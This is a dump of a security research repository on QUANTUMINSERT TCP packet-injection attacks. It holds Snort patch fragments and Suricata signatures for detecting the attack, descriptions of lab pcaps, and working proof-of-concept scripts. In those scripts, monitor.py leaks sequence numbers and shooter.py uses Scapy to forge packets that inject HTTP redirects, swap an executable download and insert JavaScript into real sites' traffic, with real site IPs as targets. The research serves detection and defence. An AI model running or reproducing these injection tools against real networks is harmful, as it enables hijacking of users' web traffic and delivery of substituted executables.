p, tdb, s5TcpPolicy); 279 | } 280 | @@ -8030,6 +8198,9 @@ static void LogTcpEvents(StreamTcpPolicy *s5TcpPolicy, int eventcode) 281 | 282 | if (eventcode & EVENT_WINDOW_SLAM) 283 | EventWindowSlam(s5TcpPolicy); 284 | + 285 | + if (eventcode & EVENT_QUANTUM_INSERT) 286 | + EventQuantumInsert(s5TcpPolicy); 287 | } 288 | 289 | static inline void DisableInspection (SessionControlBlock *scb, Packet* p, char ignore) 290 | @@ -9027,6 +9198,8 @@ static int ProcessTcp(SessionControlBlock *scb, Packet *p, TcpDataBlock *tdb, 291 | if ((p->tcph->th_flags != 0) || (s5TcpPolicy->policy == STREAM_POLICY_LINUX) || (s5TcpPolicy->policy == STREAM_POLICY_NOACK)) 292 | { 293 | ProcessTcpData(p, listener, tcpssn, tdb, s5TcpPolicy); 294 | + if (listener->qi_inserted_seg) 295 | + eventcode |= EVENT_QUANTUM_INSERT; 296 | } 297 | else 298 | { 299 | @@ -9856,8 +10029,46 @@ static int StreamSeglistDeleteNode (StreamTracker* st, StreamSegment* seg) 300 | if ( st->seglist_next == seg ) 301 | st->seglist_next = NULL; 302 | 303 | - SegmentFree(seg); 304 | - st->seg_count--; 305 | + // Keep track of `max_track_old_segs` segments 306 | + if (st->tcp_policy->max_track_old_segs) { 307 | + StreamSegment* prev = st->qi_seglist_tail; 308 | + StreamSegment* new = seg; 309 | + if(prev) 310 | + { 311 | + new->next = prev->next; 312 | + new->prev = prev; 313 | + prev->next = new; 314 | + if (new->next) 315 | + new->next->prev = new; 316 | + else 317 | + st->qi_seglist_tail = new; 318 | + } 319 | + else 320 | + { 321 | + new->next = st->qi_seglist; 322 | + if(new->next) 323 | + new->next->prev = new; 324 | + else 325 | + st->qi_seglist_tail = new; 326 | + st->qi_seglist = new; 327 | + } 328 | + 329 | + st->qi_seg_count++; 330 | + while (st->qi_seg_count > st->tcp_policy->max_track_old_segs) { 331 | + StreamSegment* old = st->qi_seglist; 332 | + st->qi_seglist = st->qi_seglist->next; 333 | + if (st->qi_seglist) 334 | + st->qi_seglist->prev = NULL; 335 | + if (st->qi_seglist == NULL) 336 | + st->qi_seglist_tail = NULL; 337 | + SegmentFree(old); 338 | + st->qi_seg_count--; 339 | + st->seg_count--; 340 | + } 341 | + } else { 342 | + SegmentFree(seg); 343 | + st->seg_count--; 344 | + } 345 | 346 | return ret; 347 | } 348 | diff --git a/src/preprocessors/Stream6/stream_common.h b/src/preprocessors/Stream6/stream_common.h 349 | index 10df88f..0dddbb5 100644 350 | --- a/src/preprocessors/Stream6/stream_common.h 351 | +++ b/src/preprocessors/Stream6/stream_common.h 352 | @@ -70,6 +70,10 @@ 353 | #define STREAM_MAX_CONSEC_SMALL_SEGS 2048 /* 2048 single byte packets without acks is alot */ 354 | #define STREAM_MIN_CONSEC_SMALL_SEGS 0 /* 0 means disabled */ 355 | 356 | +#define STREAM_DEFAULT_TRACK_OLD_SEGS 10 /* keep track of 10 old TCP segments */ 357 | +#define STREAM_MIN_MAX_TRACK_OLD_SEGS 0 /* 0 means disabled */ 358 | +#define STREAM_MAX_MAX_TRACK_OLD_SEGS 2048 /* history of 2048 segments should be enough */ 359 | + 360 | #if defined(FEAT_OPEN_APPID) 361 | #define MAX_APP_PROTOCOL_ID 4 362 | #endif /* defined(FEAT_OPEN_APPID) */ 363 | @@ -203,6 +207,10 @@ typedef struct _StreamTcpPolicy 364 | 365 | uint32_t max_consec_small_segs; 366 | uint32_t max_consec_small_seg_size; 367 | + 368 | + uint32_t max_track_old_segs; 369 | + uint32_t xtra_quantum_id; 370 | + 371 | char small_seg_ignore[MAX_PORTS/8]; 372 | 373 | } StreamTcpPolicy; 374 | diff --git a/src/sfutil/Unified2_common.h b/src/sfutil/Unified2_common.h 375 | index d8f48c7..1398d2a 100644 376 | --- a/src/sfutil/Unified2_common.h 377 | +++ b/src/sfutil/Unified2_common.h 378 | @@ -193,7 +193,8 @@ typedef enum _EventInfoEnum 379 | EVENT_INFO_HTTP_HOSTNAME, 380 | EVENT_INFO_IPV6_SRC, 381 | EVENT_INFO_IPV6_DST, 382 | - EVENT_INFO_JSNORM_DATA 383 | + EVENT_INFO_JSNORM_DATA, 384 | + EVENT_INFO_GENERIC_DATA 385 | }EventInfoEnum; 386 | 387 | typedef enum _EventDataType 388 | diff --git a/tools/u2openappid/u2openappid.c b/tools/u2openappid/u2openappid.c 389 | index c9dd945..d2a46b1 100644 390 | --- a/tools/u2openappid/u2openappid.c 391 | +++ b/tools/u2openappid/u2openappid.c 392 | @@ -295,6 +295,11 @@ static void extradata_dump(u2record *record) { 393 | len, record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData)); 394 | break; 395 | 396 | + case EVENT_INFO_GENERIC_DATA: 397 | + printf("Generic Data:\n"); 398 | + LogBuffer(record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData), len); 399 | + break; 400 | + 401 | case EVENT_INFO_SMTP_FILENAME: 402 | printf("SMTP Attachment Filename: %.*s\n", 403 | len,record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData)); 404 | diff --git a/tools/u2spewfoo/u2spewfoo.c b/tools/u2spewfoo/u2spewfoo.c 405 | index c3f6c0f..e91034d 100644 406 | --- a/tools/u2spewfoo/u2spewfoo.c 407 | +++ b/tools/u2spewfoo/u2spewfoo.c 408 | @@ -43,6 +43,8 @@ 409 | 410 | #include "Unified2_common.h" 411 | 412 | +static void LogBuffer (const uint8_t* p, unsigned n); 413 | + 414 | #define SUCCESS 314159265 415 | #define STEVE -1 416 | #define FAILURE STEVE 417 | @@ -296,6 +298,11 @@ static void extradata_dump(u2record *record) { 418 | len, record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData)); 419 | break; 420 | 421 | + case EVENT_INFO_GENERIC_DATA: 422 | + printf("Generic Data:\n"); 423 | + LogBuffer(record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData), len); 424 | + break; 425 | + 426 | case EVENT_INFO_SMTP_FILENAME: 427 | printf("SMTP Attachment Filename: %.*s\n", 428 | len,record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData)); 429 | -------------------------------------------------------------------------------- /detection/suricata/README.md: -------------------------------------------------------------------------------- 1 | Quantum Insert detection for Suricata 2 | ===================================== 3 | 4 | Suricata can already detect `QUANTUMINSERT` like attacks out of the box, using the `stream-event` called `reassembly_overlap_different_data`. 5 | 6 | Combining the `stream-event` with a signature detecing a `HTTP 302` redirect one could easily detect malicious HTTP redirects. 7 | 8 | Ofcourse the payload could also contain other content, such as malicious javascript. 9 | 10 | Signatures 11 | ---------- 12 | Victor Julien shared the following signatures for detecting `QUANTUMINSERT`: 13 | 14 | alert tcp any any -> any any (msg:"SURICATA STREAM reassembly overlap with different data"; stream-event:reassembly_overlap_different_data; classtype:protocol-command-decode; sid:2210050; rev:2;) 15 | alert tcp any any -> any any (msg:"LOCAL QI 302 and possible inject"; stream-event:reassembly_overlap_different_data; content:"302"; http_stat_code; classtype:protocol-command-decode; sid:12345; rev:2;) 16 | 17 | References 18 | ---------- 19 | 20 | * http://blog.inliniac.net/2013/04/19/suricata-handling-of-multiple-different-synacks/ 21 | * https://redmine.openinfosecfoundation.org/issues/603 22 | * https://github.com/inliniac/suricata/commit/6f76ac176d70d85fa2a5719dacdc8fef0ef074dc -------------------------------------------------------------------------------- /pcaps/README.md: -------------------------------------------------------------------------------- 1 | Quantum Insert PCAPS 2 | ==================== 3 | 4 | Example pcaps containing `QUANTUMINSERT` attacks created in a controlled environment. 5 | 6 | > PCAPS or it didn't happen! 7 | 8 | We have shared the annotated pcapng files with [CloudShark](https://appliance.cloudshark.org/blog/quantuminsert-analysis-capture/). 9 | 10 | curl jsonip.com 11 | ----------------------- 12 | We shot on our client making a request to `jsonip.com` using curl. The payload is a simple textual payload containing `BANG!`. We shot on the SYN+ACK of the server. 13 | 14 | * [qi_local_SYNACK_curl_jsonip.pcap](qi_local_SYNACK_curl_jsonip.pcap) (view [annotated version](https://www.cloudshark.org/captures/ea5002f082f9) on CloudShark) 15 | 16 | The following pcap is the same but over the real internet: 17 | 18 | * [qi_internet_SYNACK_curl_jsonip.pcap](qi_internet_SYNACK_curl_jsonip.pcap) (view [annotated version](https://www.cloudshark.org/captures/918b07d06902) on CloudShark) 19 | 20 | putty.exe download 21 | ------------------ 22 | We shot on a client downloading `putty.exe` from the official PuTTY website. 23 | The inserted payload contains a redirect to a different url and executable, namely that of 7zip. Browser sucessfully downloaded the `7z938.exe` instead of `putty.exe`. The shot was performed on the SYN+ACK of the PuTTY download server (the.earth.li). 24 | 25 | * [qi_local_SYNACK_putty_dl.pcap](qi_local_SYNACK_putty_dl.pcap) (view [annotated version](https://www.cloudshark.org/captures/54394cac6297) on CloudShark) 26 | 27 | The `Content-Length: 0` header ensures that the original response is ignored after our inserted content. 28 | 29 | 30 | 302 HTTP Redirects 31 | ------------------- 32 | The following pcaps contains a HTTP 302 redirect to `http://www.fox-it.com`, which we shot on the SYN+ACK of `slashdot.org` and `www.linkedin.com`. The browser was succesfully redirected as can be seen in the pcaps. 33 | 34 | * [qi_local_SYNACK_linkedin_redirect.pcap](qi_local_SYNACK_linkedin_redirect.pcap) (view [annotated version](https://www.cloudshark.org/captures/ceec4d3636c0) on CloudShark) 35 | * [qi_local_SYNACK_slashdot_redirect.pcap](qi_local_SYNACK_slashdot_redirect.pcap) (view [annotated version](https://www.cloudshark.org/captures/fc259c97fab9) on CloudShark) 36 | 37 | The following pcap is also a redirect, but shot on the client's actual HTTP GET request after checking the unique identifier in the `Cookie` header: 38 | 39 | * [qi_local_GET_slashdot_redirect.pcap](qi_local_GET_slashdot_redirect.pcap) (view [annotated version](https://www.cloudshark.org/captures/b5524b5950ab) on CloudShark) 40 | 41 | The `Content-Length: 0` header ensures that the original response is ignored after our inserted content. 42 | 43 | Malicious Javascript 44 | -------------------- 45 | The following pcap contains a malicious javascript response that is inserted when the browser visits `imgur.com`. 46 | The shot is done on the SYN+ACK of the following url `http://platform.twitter.com/widgets.js`, which is loaded by imgur.com. 47 | 48 | * [qi_local_SYNACK_imgur_qdp.pcap](qi_local_SYNACK_imgur_qdp.pcap) (view [annotated version](https://www.cloudshark.org/captures/334234f85e96) on CloudShark) 49 | 50 | The `Content-Length: 108` header ensures that the original response is ignored after our inserted javascript payload. 51 | 52 | -------------------------------------------------------------------------------- /pcaps/qi_internet_SYNACK_curl_jsonip.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_internet_SYNACK_curl_jsonip.pcap -------------------------------------------------------------------------------- /pcaps/qi_local_GET_slashdot_redirect.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_local_GET_slashdot_redirect.pcap -------------------------------------------------------------------------------- /pcaps/qi_local_SYNACK_curl_jsonip.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_local_SYNACK_curl_jsonip.pcap -------------------------------------------------------------------------------- /pcaps/qi_local_SYNACK_imgur_qdp.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_local_SYNACK_imgur_qdp.pcap -------------------------------------------------------------------------------- /pcaps/qi_local_SYNACK_linkedin_redirect.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_local_SYNACK_linkedin_redirect.pcap -------------------------------------------------------------------------------- /pcaps/qi_local_SYNACK_putty_dl.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_local_SYNACK_putty_dl.pcap -------------------------------------------------------------------------------- /pcaps/qi_local_SYNACK_slashdot_redirect.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/pcaps/qi_local_SYNACK_slashdot_redirect.pcap -------------------------------------------------------------------------------- /poc/README.md: -------------------------------------------------------------------------------- 1 | QI Tools 2 | ========= 3 | 4 | Proof of concept tools to perform a `QUANTUMINSERT`. Our Lab setup consisted of the following VMs: 5 | 6 | * qi-shooter (VM that will run shooter.py) 7 | * qi-router (VM that will run monitor.py) 8 | * qi-target (VM that will be attacked) 9 | 10 | Pcaps created with the help of these tools can be found here: 11 | 12 | * [https://github.com/fox-it/quantuminsert/tree/master/pcaps](https://github.com/fox-it/quantuminsert/tree/master/pcaps) 13 | 14 | monitor.py 15 | ---------- 16 | 17 | This script is intended to leak the TCP sequence and ACK numbers to the `shooter.py`. It has a dependency on `tcpdump` or `tshark` as it receives the sequence and ack numbers from the output of these programs. 18 | It's possible to implement packet capture in `monitor.py` itself, making it probably even faster to leak the required information. 19 | 20 | The information is sent to the shooter using a single UDP packet. However, one could use other ways to do this. 21 | 22 | #### Example usage for tcpdump 23 | 24 | stdbuf --output=0 | tcpdump -nn -i eth0 "host jsonip.com and tcp[tcpflags]=(tcp-syn|tcp-ack)" | python monitor.py -s 10.0.0.2 -p 12345 25 | 26 | `stdbuf` is needed as `tcpdump` will buffer it's output by default. The bpf filter ensures that we only see the SYN+ACK of `jsonip.com`, which will be printed to stdout and parsed by `monitor.py`. The shooter is then notified at `10.0.0.2` running on port `12345`. 27 | 28 | #### Example usage for tshark 29 | 30 | By using `tshark` one could specifically target a client, for example by identifying a client by it's unique Cookie headers. 31 | 32 | Example command: 33 | 34 | stdbuf --output=0 tshark -ni eth0 -Tfields \ 35 | -e tcp.seq -e tcp.ack \ 36 | -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport \ 37 | -e tcp.analysis.bytes_in_flight -e http.host -e 'http.cookie' \ 38 | -o tcp.relative_sequence_numbers:0 -R http.request \ 39 | 'host jsonip.com and port 80' | python monitor.py -s 10.0.0.2 -p 12345 --tshark 40 | 41 | This command will output the required fields when someone makes a HTTP request to `jsonip.com`. The outputted cookie and host fields could be used as selectors in the monitor script. 42 | 43 | The `-o tcp.relative_sequence_numbers:0` option is needed to output non relative sequence numbers. 44 | 45 | shooter.py 46 | ---------- 47 | This script is responsible for receiving the sequence+ack data from `monitor.py` using UDP. It has a dependency on `Scapy` for crafting and sending the spoofed packet. 48 | 49 | Example usage: 50 | 51 | python shooter.py -l 10.0.0.2 -p 12345 52 | 53 | This will make the shooter script listen on `10.0.0.2` and on port `12345`. 54 | 55 | -------------------------------------------------------------------------------- /poc/monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # file: monitor.py 4 | # author: Fox-IT Security Research Team 5 | # 6 | # monitor.py, used to leak TCP sequence + ack numbers to the shooter 7 | # 8 | # Example usage for tcpdump (shoot on SYN+ACK reply from server): 9 | # $ stdbuf --output=0 tcpdump -nn -i eth0 "host jsonip.com and tcp[tcpflags]=(tcp-syn|tcp-ack)" | python monitor.py -s 127.0.0.1 10 | # 11 | # Example usage for tshark (shoot on GET request from client): 12 | # $ stdbuf --output=0 tshark -ni eth0 -Tfields -e tcp.seq -e tcp.ack -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.analysis.bytes_in_flight -e http.host -e 'http.cookie' -o tcp.relative_sequence_numbers:0 -R http.request 'host jsonip.com and port 80' | python monitor.py -s 127.0.0.1 --tshark 13 | # 14 | 15 | # Python imports 16 | import re 17 | import sys 18 | import struct 19 | import socket 20 | import argparse 21 | import collections 22 | 23 | # Shared data 24 | QuantumTip = collections.namedtuple("QuantumTip", "src dst sport dport seq ack") 25 | TIP_STRUCT = "IIHHII" 26 | TIP_LEN = struct.calcsize(TIP_STRUCT) 27 | 28 | # This regex may vary by tcpdump versions and/or operating systems 29 | REGEX_SYNACK = re.compile("([\d\.]+)\.(\d+) > ([\d\.]+)\.(\d+): Flags.*seq (\d+), ack (\d+)") 30 | 31 | 32 | def main(): 33 | parser = argparse.ArgumentParser( 34 | formatter_class=argparse.ArgumentDefaultsHelpFormatter) 35 | parser.add_argument("-s", "--shooter", default=None, 36 | help="ip of the shooter server") 37 | parser.add_argument("-p", "--port", type=int, default=1111, 38 | help="(udp) port of the shooter") 39 | parser.add_argument("-t", "--tshark", default=False, 40 | action="store_true", 41 | help="parse output of tshark (see examples)") 42 | 43 | args = parser.parse_args() 44 | if args.shooter is None: 45 | parser.print_help() 46 | return 1 47 | 48 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 49 | 50 | print 'Monitor ready to tip %s:%u' % (args.shooter, args.port) 51 | 52 | while True: 53 | line = sys.stdin.readline() 54 | print line.strip() 55 | if args.tshark: 56 | seq, ack, src, sport, dst, dport, size, host, cookie = line.split("\t") 57 | src, sport, dst, dport = dst, dport, src, sport 58 | seq, ack = ack, seq 59 | seq = int(seq) - 1 60 | ack = int(ack) 61 | else: 62 | src, sport, dst, dport, seq, ack = REGEX_SYNACK.search(line).groups() 63 | 64 | # print src, sport, dst, dport, seq, ack 65 | tip = QuantumTip( 66 | src=struct.unpack(">I", socket.inet_aton(src))[0], 67 | dst=struct.unpack(">I", socket.inet_aton(dst))[0], 68 | sport=int(sport), 69 | dport=int(dport), 70 | seq=int(seq), 71 | ack=int(ack), 72 | ) 73 | data = struct.pack(TIP_STRUCT, *tip._asdict().values()) 74 | sock.sendto(data, (args.shooter, args.port)) 75 | print 'Sending', tip 76 | 77 | if __name__ == '__main__': 78 | sys.exit(main()) 79 | -------------------------------------------------------------------------------- /poc/shooter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # file: shooter.py 4 | # author: Fox-IT Security Research Team 5 | # 6 | # shooter.py, used to receive TCP seq+ack data and sending spoofed packet 7 | # 8 | 9 | # Python imports 10 | import sys 11 | import struct 12 | import socket 13 | import argparse 14 | 15 | # Scapy imports 16 | import logging 17 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 18 | from scapy.all import IP, TCP, conf 19 | 20 | # Local imports 21 | from monitor import QuantumTip, TIP_LEN, TIP_STRUCT 22 | 23 | # Example QI payloads 24 | PAYLOAD_BANG = "BANG! BANG! BANG! BANG! BANG! BANG!\r\n" * 8 25 | PAYLOAD_FOX = "HTTP/1.1 302 Found\r\nLocation: http://fox-it.com/\r\nContent-Length: 0\r\n\r\n" 26 | PAYLOAD_7ZIP = "HTTP/1.1 302 Found\r\nLocation: http://www.7-zip.org/a/7z938.exe\r\nContent-Length: 0\r\n\r\n" 27 | 28 | XSS = 'alert("QUANTUM INSERT!");' 29 | # XSS = 'alert("QUANTUM DPIC!"); window.onload = function(){$("img").attr("src", "http://i.imgur.com/CE4r5vR.jpg");};' 30 | PAYLOAD_XSS = 'HTTP/1.1 200 OK\r\nContent-Type: text/javascript\r\nConnection: close\r\nContent-Length: ' + str(len(XSS)) + "\r\n\r\n" + XSS 31 | 32 | 33 | class QI(object): 34 | sock = None 35 | 36 | def __init__(self, selectors): 37 | self.selectors = selectors 38 | self.sock = conf.L3socket() 39 | 40 | def inject(self, src, dst, sport, dport, seq, ack): 41 | payload = self.selectors.get(src, PAYLOAD_BANG) 42 | p = IP(src=src, dst=dst) / TCP(sport=sport, dport=dport, seq=seq+1, ack=ack, flags="PA") / payload 43 | self.sock.send(p) 44 | print 'Shooting: %r' % p 45 | 46 | 47 | def main(): 48 | parser = argparse.ArgumentParser( 49 | formatter_class=argparse.ArgumentDefaultsHelpFormatter) 50 | parser.add_argument("-l", "--listen", default="0.0.0.0", 51 | help="listen on specified ip") 52 | parser.add_argument("-p", "--port", type=int, default=1111, 53 | help="listen on specified (udp) port") 54 | 55 | args = parser.parse_args() 56 | 57 | qi = QI({ 58 | "96.126.98.124": PAYLOAD_BANG, # www.jsonip.com 59 | "91.225.248.129": PAYLOAD_FOX, # www.linkedin.com 60 | "216.34.181.45": PAYLOAD_FOX, # slashdot.org 61 | "46.43.34.31": PAYLOAD_7ZIP, # http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe 62 | "199.96.57.6": PAYLOAD_XSS, # http://platform.twitter.com/widgets.js (loaded by imgur.com) 63 | }) 64 | 65 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 66 | sock.bind((args.listen, args.port)) 67 | 68 | print 'Shooter listening on %s:%u' % (args.listen, args.port) 69 | 70 | while True: 71 | data, addr = sock.recvfrom(1024) 72 | if len(data) == TIP_LEN: 73 | tip = QuantumTip._make(struct.unpack(TIP_STRUCT, data)) 74 | print 'Received tip from %r: %r' % (addr, tip) 75 | qi.inject( 76 | src=socket.inet_ntoa(struct.pack(">I", tip.src)), 77 | dst=socket.inet_ntoa(struct.pack(">I", tip.dst)), 78 | sport=tip.sport, 79 | dport=tip.dport, 80 | seq=tip.seq, 81 | ack=tip.ack, 82 | ) 83 | 84 | if __name__ == '__main__': 85 | sys.exit(main()) 86 | -------------------------------------------------------------------------------- /presentations/brocon2015/BroCon2015_Fox-IT_QuantumInsert_Detection.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/presentations/brocon2015/BroCon2015_Fox-IT_QuantumInsert_Detection.pdf -------------------------------------------------------------------------------- /presentations/brocon2015/demo/README.md: -------------------------------------------------------------------------------- 1 | This directory contains the modified monitor and shooter scripts that were 2 | used for the BroCon 2015 demo. 3 | 4 | monitor 5 | ------- 6 | No real changes other than switching back to old OptionParser module for Python 2.6 support. 7 | 8 | ``stdbuf --output=0 tcpdump -nn -i eth0 "host jsonip.com and port 80 and tcp[tcpflags]=(tcp-syn|tcp-ack)" | python monitor.py -s 10.0.0.3`` 9 | 10 | ``stdbuf --output=0 tcpdump -nn -i eth0 "host bro.org and port 80 and tcp[tcpflags]=(tcp-syn|tcp-ack)" | python monitor.py -s 10.0.0.3`` 11 | 12 | shooter 13 | ------- 14 | The modifications allow for sending multiple QI packets to account for MTU. 15 | Also supports compressing the HTML page and injecting a javascript file. 16 | 17 | ``python shooter.py --response index.html --inject inject.js`` 18 | 19 | index.html 20 | ---------- 21 | The `index.html` is a mirror of the `bro.org` main page using `wget -k` to fix relative links to absolute. 22 | 23 | inject.js 24 | --------- 25 | This file is the javascript that is injected after the `` tag of the content. It's a modified javascript file that performs the Harlem Shake. 26 | -------------------------------------------------------------------------------- /presentations/brocon2015/demo/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | The Bro Network Security Monitor 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 46 | 47 | 48 |
49 | 50 | 52 | 53 | 126 | 127 |
128 |
129 | 130 |
131 | 132 |
133 | 134 | 378 | 379 |
380 | 381 | 382 | 383 | 384 | 401 | 402 |
403 |

404 | Twitter 405 | 406 | @Bro_IDS 407 | 408 | 409 |

410 | 411 | 416 | 417 | 418 | 419 |
420 | 421 |
422 |

423 | Blog 424 | Icon 425 |

426 |
    427 |
    428 | 429 |
    430 |

    Search

    431 |
    Loading
    432 | 433 | 434 | 444 | 445 | 446 |
    458 |
    459 |
    460 | 461 |
    462 |
    463 | 464 | 465 | 550 | 551 | 562 | -------------------------------------------------------------------------------- /presentations/brocon2015/demo/inject.js: -------------------------------------------------------------------------------- 1 | 237 | 238 | -------------------------------------------------------------------------------- /presentations/brocon2015/demo/monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # file: monitor.py 4 | # author: Fox-IT Security Research Team 5 | # 6 | # monitor.py, used to leak TCP sequence + ack numbers to the shooter 7 | # 8 | # Example usage for tcpdump (shoot on SYN+ACK reply from server): 9 | # $ stdbuf --output=0 tcpdump -nn -i eth0 "host jsonip.com and tcp[tcpflags]=(tcp-syn|tcp-ack)" | python monitor.py -s 127.0.0.1 10 | # 11 | # Example usage for tshark (shoot on GET request from client): 12 | # $ stdbuf --output=0 tshark -ni eth0 -Tfields -e tcp.seq -e tcp.ack -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.analysis.bytes_in_flight -e http.host -e 'http.cookie' -o tcp.relative_sequence_numbers:0 -R http.request 'host jsonip.com and port 80' | python monitor.py -s 127.0.0.1 --tshark 13 | # 14 | 15 | # Python imports 16 | import re 17 | import sys 18 | import struct 19 | import socket 20 | from optparse import OptionParser, OptionGroup 21 | 22 | import collections 23 | 24 | # Shared data 25 | QuantumTip = collections.namedtuple("QuantumTip", "src dst sport dport seq ack") 26 | TIP_STRUCT = "IIHHII" 27 | TIP_LEN = struct.calcsize(TIP_STRUCT) 28 | 29 | # This regex may vary by tcpdump versions and/or operating systems 30 | REGEX_SYNACK = re.compile("([\d\.]+)\.(\d+) > ([\d\.]+)\.(\d+): Flags.*seq (\d+), ack (\d+)") 31 | 32 | 33 | def main(): 34 | parser = OptionParser() 35 | parser.add_option("-s", "--shooter", default=None, 36 | help="ip of the shooter server") 37 | parser.add_option("-p", "--port", type=int, default=1111, 38 | help="(udp) port of the shooter") 39 | parser.add_option("-t", "--tshark", default=False, 40 | action="store_true", 41 | help="parse output of tshark (see examples)") 42 | 43 | (args, opts) = parser.parse_args() 44 | if args.shooter is None: 45 | parser.print_help() 46 | return 1 47 | 48 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 49 | 50 | print 'Monitor ready to tip %s:%u' % (args.shooter, args.port) 51 | 52 | while True: 53 | line = sys.stdin.readline() 54 | print line.strip() 55 | if args.tshark: 56 | seq, ack, src, sport, dst, dport, size, host, cookie = line.split("\t") 57 | src, sport, dst, dport = dst, dport, src, sport 58 | seq, ack = ack, seq 59 | seq = int(seq) - 1 60 | ack = int(ack) 61 | else: 62 | src, sport, dst, dport, seq, ack = REGEX_SYNACK.search(line).groups() 63 | 64 | # print src, sport, dst, dport, seq, ack 65 | tip = QuantumTip( 66 | src=struct.unpack(">I", socket.inet_aton(src))[0], 67 | dst=struct.unpack(">I", socket.inet_aton(dst))[0], 68 | sport=int(sport), 69 | dport=int(dport), 70 | seq=int(seq), 71 | ack=int(ack), 72 | ) 73 | print tip._asdict().values() 74 | data = struct.pack(TIP_STRUCT, *[tip.src, tip.dst, tip.sport, tip.dport, tip.seq, tip.ack]) 75 | sock.sendto(data, (args.shooter, args.port)) 76 | print 'Sending', tip 77 | 78 | if __name__ == '__main__': 79 | sys.exit(main()) 80 | -------------------------------------------------------------------------------- /presentations/brocon2015/demo/shooter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # file: shooter.py 4 | # author: Fox-IT Security Research Team 5 | # 6 | # shooter.py, used to receive TCP seq+ack data and sending spoofed packet 7 | # 8 | # Modified for BroCon 2015 demo 9 | 10 | # Python imports 11 | import sys 12 | import gzip 13 | import struct 14 | import socket 15 | import argparse 16 | import StringIO 17 | 18 | # Scapy imports 19 | import logging 20 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 21 | from scapy.all import IP, TCP, conf 22 | 23 | # Local imports 24 | from monitor import QuantumTip, TIP_LEN, TIP_STRUCT 25 | 26 | # Example QI payloads 27 | PAYLOAD_BANG = "BANG! BANG! BANG! BANG! BANG! BANG!\r\n" * 8 28 | 29 | def create_200OK_gzip_response(buf): 30 | zbuf = StringIO.StringIO() 31 | zfile = gzip.GzipFile(None, 'wb', 9, zbuf) 32 | zfile.write(buf) 33 | zfile.close() 34 | gzip_buffer = zbuf.getvalue() 35 | response = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Encoding: gzip\r\nConnection: close\r\nContent-Length: ' + str(len(gzip_buffer)) + "\r\n\r\n" + gzip_buffer 36 | return response 37 | 38 | PAYLOAD_RESPONSE = None 39 | PAYLOAD_INJECT = None 40 | 41 | class QI(object): 42 | sock = None 43 | 44 | def __init__(self, selectors): 45 | self.selectors = selectors 46 | self.sock = conf.L3socket() 47 | 48 | def inject(self, src, dst, sport, dport, seq, ack, mtu=1400): 49 | payload = self.selectors.get(src, PAYLOAD_BANG) 50 | payload_len = len(payload) 51 | 52 | seq_len = 0 53 | while payload_len: 54 | load = payload[0:mtu] 55 | p = IP(src=src, dst=dst) / TCP(sport=sport, dport=dport, seq=seq+seq_len+1, ack=ack, flags="PA") 56 | self.sock.send(p/load) 57 | print 'Shooting: %r' % p 58 | seq_len += len(load) 59 | payload = payload[mtu:] 60 | payload_len = len(payload) 61 | 62 | p = IP(src=src, dst=dst) / TCP(sport=sport, dport=dport, seq=seq+seq_len+1, ack=ack, flags="FA") 63 | self.sock.send(p) 64 | 65 | 66 | def main(): 67 | parser = argparse.ArgumentParser( 68 | formatter_class=argparse.ArgumentDefaultsHelpFormatter) 69 | parser.add_argument("-l", "--listen", default="0.0.0.0", 70 | help="listen on specified ip") 71 | parser.add_argument("-p", "--port", type=int, default=1111, 72 | help="listen on specified (udp) port") 73 | parser.add_argument("--response", default=None, 74 | help="respond with data from specified file") 75 | parser.add_argument("--inject", default=None, 76 | help="inject data from specified file (after or else at end)") 77 | 78 | args = parser.parse_args() 79 | 80 | if args.response: 81 | PAYLOAD_RESPONSE = open(args.response, "rb").read() 82 | 83 | if args.inject: 84 | PAYLOAD_INJECT = open(args.inject, "rb").read() 85 | if '' in PAYLOAD_RESPONSE: 86 | PAYLOAD_RESPONSE = 